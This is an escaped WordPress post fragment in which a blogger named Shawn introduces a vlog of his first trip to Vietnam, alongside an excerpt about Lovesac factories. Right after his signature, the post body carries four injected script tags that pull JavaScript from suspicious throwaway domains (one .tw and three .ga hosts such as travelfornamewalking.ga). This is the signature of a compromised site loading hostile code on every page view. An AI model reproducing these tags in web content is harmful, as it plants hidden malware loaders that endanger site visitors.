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I was living in Taiwan from 1996 \u2013 1998 and have gained a great perspective on how globalization, manufacturing, and industry can change and modernize a country and an entire culture. But as many similarities as there are between Vietnam and these other Asian countries where I\u2019ve lived, it is undoubtedly its own place\u2014with its own language, food, and culture.<\/p>\n<p>Come with me on my first trip to Vietnam here, via my <a href=\"https:\/\/youtu.be\/KmWg99VcBqA\">vlog<\/a>&#8230;<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/KmWg99VcBqA\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Let&nbsp;me know what you think.<\/p>\n<p>&#8212; Shawn<script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I\u2019ve built, operated, or partnered with Lovesac factories in Utah, Mexico, California, Texas, North Carolina, and China over the years. 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